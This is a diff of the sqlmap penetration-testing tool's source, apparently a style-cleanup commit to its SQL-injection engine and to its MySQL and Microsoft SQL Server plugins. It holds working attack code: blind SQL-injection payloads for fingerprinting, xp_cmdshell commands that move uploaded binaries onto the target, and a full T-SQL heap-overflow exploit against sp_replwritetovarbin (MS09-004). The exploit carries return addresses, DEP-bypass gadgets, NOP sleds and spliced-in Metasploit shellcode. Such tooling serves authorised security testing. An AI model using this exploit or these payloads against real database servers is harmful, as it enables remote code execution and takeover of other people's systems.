@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
@@ -34,7 +32,6 @@ from lib.core.data import queries
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.techniques.blind.inference import bisection
|
||||
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
"""
|
||||
Returns the query output length.
|
||||
@@ -45,14 +42,17 @@ def queryOutputLength(expression, payload):
|
||||
select = re.search("\ASELECT\s+", expression, re.I)
|
||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
|
||||
miscExpr = re.search("\A(.+)", expression, re.I)
|
||||
|
||||
if selectTopExpr or selectDistinctExpr or selectExpr:
|
||||
if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
|
||||
if selectTopExpr:
|
||||
regExpr = selectTopExpr.groups()[0]
|
||||
elif selectDistinctExpr:
|
||||
regExpr = selectDistinctExpr.groups()[0]
|
||||
elif selectFromExpr:
|
||||
regExpr = selectFromExpr.groups()[0]
|
||||
elif selectExpr:
|
||||
regExpr = selectExpr.groups()[0]
|
||||
elif miscExpr:
|
||||
@@ -84,7 +84,6 @@ def queryOutputLength(expression, payload):
|
||||
|
||||
return count, length, regExpr
|
||||
|
||||
|
||||
def resume(expression, payload):
|
||||
"""
|
||||
This function can be called to resume part or entire output of a
|
||||
@@ -107,7 +106,7 @@ def resume(expression, payload):
|
||||
if resumedValue[-1] == "]":
|
||||
resumedValue = resumedValue[:-1]
|
||||
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||
|
||||
if logValue:
|
||||
|
||||
@@ -22,8 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import time
|
||||
|
||||
@@ -32,6 +31,7 @@ from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
@@ -69,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
unescaper.setUnescape(MSSQLServerMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression, quote=True):
|
||||
if quote:
|
||||
@@ -82,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
index = expression[firstIndex:].find("'")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
|
||||
|
||||
lastIndex = firstIndex + index
|
||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||
@@ -101,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
@@ -113,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
index = expression[firstIndex:].find("))")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
|
||||
|
||||
lastIndex = firstIndex + index + 1
|
||||
old = expression[firstIndex:lastIndex]
|
||||
@@ -126,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
@@ -140,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
actVer = formatDBMSfp()
|
||||
value += "back-end DBMS: "
|
||||
actVer = formatDBMSfp()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += actVer
|
||||
return value
|
||||
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
release = kb.bannerFp["dbmsRelease"]
|
||||
version = kb.bannerFp["dbmsVersion"]
|
||||
release = kb.bannerFp["dbmsRelease"]
|
||||
version = kb.bannerFp["dbmsVersion"]
|
||||
servicepack = kb.bannerFp["dbmsServicePack"]
|
||||
|
||||
if release and version and servicepack:
|
||||
banVer = "Microsoft SQL Server %s " % release
|
||||
banVer = "Microsoft SQL Server %s " % release
|
||||
banVer += "Service Pack %s " % servicepack
|
||||
banVer += "version %s" % version
|
||||
|
||||
@@ -169,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
@@ -187,36 +183,39 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
infoMsg = "confirming Microsoft SQL Server"
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version in ( 0, 5, 8 ):
|
||||
payload = agent.fullPayload(" AND ( ( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d ) )" % (version, version))
|
||||
for version in (0, 5, 8):
|
||||
randInt = randomInt()
|
||||
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
||||
payload = agent.fullPayload(query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
if result:
|
||||
if version == 8:
|
||||
kb.dbmsVersion = [ "2008" ]
|
||||
kb.dbmsVersion = ["2008"]
|
||||
|
||||
break
|
||||
|
||||
elif version == 5:
|
||||
kb.dbmsVersion = [ "2005" ]
|
||||
kb.dbmsVersion = ["2005"]
|
||||
|
||||
break
|
||||
|
||||
elif version == 0:
|
||||
kb.dbmsVersion = [ "2000" ]
|
||||
kb.dbmsVersion = ["2000"]
|
||||
|
||||
break
|
||||
|
||||
else:
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
||||
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
||||
payload = agent.fullPayload(query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
kb.dbmsVersion = [ "7.0" ]
|
||||
if result:
|
||||
kb.dbmsVersion = ["7.0"]
|
||||
|
||||
break
|
||||
|
||||
@@ -236,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def checkDbmsOs(self, detailed=False):
|
||||
if kb.os and kb.osVersion and kb.osSP:
|
||||
return
|
||||
@@ -244,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
if not kb.os:
|
||||
kb.os = "Windows"
|
||||
|
||||
if detailed == False:
|
||||
if not detailed:
|
||||
return
|
||||
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system "
|
||||
@@ -256,14 +254,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||
|
||||
versions = {
|
||||
"2003": ( "5.2", ( 2, 1 ) ),
|
||||
#"2003": ( "6.0", ( 2, 1 ) ),
|
||||
"2008": ( "7.0", ( 1, ) ),
|
||||
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
|
||||
"XP": ( "5.1", ( 2, 1 ) ),
|
||||
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
|
||||
}
|
||||
versions = {"2003": ("5.2", (2, 1)),
|
||||
#"2003": ("6.0", (2,1)),
|
||||
"2008": ("7.0", (1,)),
|
||||
"2000": ("5.0", (4, 3, 2, 1)),
|
||||
"XP": ("5.1", (2, 1)),
|
||||
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
|
||||
|
||||
# Get back-end DBMS underlying operating system version
|
||||
for version, data in versions.items():
|
||||
@@ -315,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
def getPrivileges(self):
|
||||
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||
warnMsg += "database users privileges"
|
||||
@@ -323,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
return {}
|
||||
|
||||
|
||||
def getTables(self):
|
||||
infoMsg = "fetching tables"
|
||||
if conf.db:
|
||||
@@ -394,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
if not kb.data.cachedTables:
|
||||
errMsg = "unable to retrieve the tables for any database"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
raise sqlmapNoneDataException(errMsg)
|
||||
|
||||
return kb.data.cachedTables
|
||||
|
||||
|
||||
def unionReadFile(self, rFile):
|
||||
errMsg = "Microsoft SQL Server does not support file reading "
|
||||
errMsg += "with UNION query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
infoMsg = "fetching file: '%s'" % rFile
|
||||
@@ -474,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
if not count.isdigit() or not len(count) or count == "0":
|
||||
errMsg = "unable to retrieve the content of the "
|
||||
errMsg += "file '%s'" % rFile
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
raise sqlmapNoneDataException(errMsg)
|
||||
|
||||
indexRange = getRange(count)
|
||||
|
||||
@@ -486,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
errMsg = "Microsoft SQL Server does not support file upload with "
|
||||
errMsg += "UNION query SQL injection technique"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||
# NOTE: this is needed here because we use xp_cmdshell extended
|
||||
@@ -520,11 +510,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
"ren %s %s" % (chunkName, dFileName),
|
||||
"move /Y %s %s" % (dFileName, dFile)
|
||||
)
|
||||
commands = ("cd %s" % tmpPath,
|
||||
"ren %s %s" % (chunkName, dFileName),
|
||||
"move /Y %s %s" % (dFileName, dFile))
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
@@ -540,7 +528,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
counter = 1
|
||||
|
||||
for i in range(0, wFileSize, debugSize):
|
||||
wFileChunk = wFileContent[i:i+debugSize]
|
||||
wFileChunk = wFileContent[i:i + debugSize]
|
||||
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||
|
||||
if i == 0:
|
||||
@@ -553,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
||||
logger.debug(infoMsg)
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
commands = ("cd %s" % tmpPath,
|
||||
copyCmd,
|
||||
"del /F %s" % chunkName
|
||||
)
|
||||
"del /F %s" % chunkName)
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
@@ -571,40 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||
|
||||
commands = (
|
||||
"cd %s" % tmpPath,
|
||||
"move /Y %s %s" % (dFileName, dFile)
|
||||
)
|
||||
commands = ("cd %s" % tmpPath,
|
||||
"move /Y %s %s" % (dFileName, dFile))
|
||||
complComm = " & ".join(command for command in commands)
|
||||
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
||||
|
||||
self.execCmd(forgedCmd)
|
||||
|
||||
if confirm == True:
|
||||
if confirm:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||
|
||||
|
||||
def overflowBypassDEP(self):
|
||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
else:
|
||||
warnMsg = "sqlmap tried to add the expection for "
|
||||
warnMsg += "'sqlservr.exe' within the registry, but will not "
|
||||
warnMsg += "restart the MSSQLSERVER process to avoid denial "
|
||||
warnMsg += "of service. The buffer overflow trigger could not "
|
||||
warnMsg += "work, however sqlmap will give it a try. Soon "
|
||||
warnMsg += "it will come a new MS09-004 exploit to "
|
||||
warnMsg += "automatically bypass DEP."
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def spHeapOverflow(self):
|
||||
"""
|
||||
References:
|
||||
@@ -613,83 +579,112 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
"""
|
||||
|
||||
returns = {
|
||||
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
||||
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
||||
}
|
||||
retAddr = None
|
||||
# 2003 Service Pack 0
|
||||
"2003-0": (""),
|
||||
|
||||
for version, data in returns.items():
|
||||
sp = data[0]
|
||||
address = data[1]
|
||||
# 2003 Service Pack 1
|
||||
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 12/2008
|
||||
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 05/2009
|
||||
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
|
||||
|
||||
# 2003 Service Pack 2 updated at 09/2009
|
||||
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
|
||||
}
|
||||
addrs = None
|
||||
|
||||
for versionSp, data in returns.items():
|
||||
version, sp = versionSp.split("-")
|
||||
sp = int(sp)
|
||||
|
||||
if kb.osVersion == version and kb.osSP == sp:
|
||||
retAddr = address
|
||||
addrs = data
|
||||
|
||||
break
|
||||
|
||||
if retAddr == None:
|
||||
if addrs is None:
|
||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||
errMsg += "overflow because it does not have a valid return "
|
||||
errMsg += "code for the underlying operating system (Windows "
|
||||
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
shellcodeChar = ""
|
||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
shellcodeChar = shellcodeChar[:-1]
|
||||
|
||||
self.spExploit = """
|
||||
DECLARE @buf NVARCHAR(4000),
|
||||
@val NVARCHAR(4),
|
||||
@counter INT
|
||||
SET @buf = '
|
||||
declare @retcode int,
|
||||
@end_offset int,
|
||||
@vb_buffer varbinary,
|
||||
@vb_bufferlen int
|
||||
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
||||
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
SET @val = CHAR(0x41)
|
||||
SET @counter = 0
|
||||
WHILE @counter < 3320
|
||||
BEGIN
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* Return address */
|
||||
SET @buf = @buf + %s
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* pointer to call [ecx+8] */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Nopsled */
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
/* push ebp, pop esp, ret 4 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Metasploit shellcode stage 1 */
|
||||
SET @buf = @buf + %s
|
||||
/* push ecx, pop esp, pop ebp, retn 8 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Unroll the stack and return */
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0xc3)
|
||||
/* Garbage */
|
||||
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
||||
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* anti DEP */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
|
||||
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
||||
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
||||
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
||||
|
||||
/* Metasploit shellcode */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
END
|
||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||
EXEC master..sp_executesql @buf
|
||||
""" % (retAddr, self.shellcodeChar)
|
||||
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
||||
|
||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
@@ -33,7 +31,6 @@ from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -55,15 +52,21 @@ from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines MySQL methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__basedir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.__basedir = None
|
||||
self.__datadir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF return data-type
|
||||
"sys_exec": { "return": "int" },
|
||||
"sys_eval": { "return": "string" },
|
||||
"sys_bineval": { "return": "int" }
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "MySQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -71,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
unescaper.setUnescape(MySQLMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression, quote=True):
|
||||
if quote:
|
||||
@@ -105,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
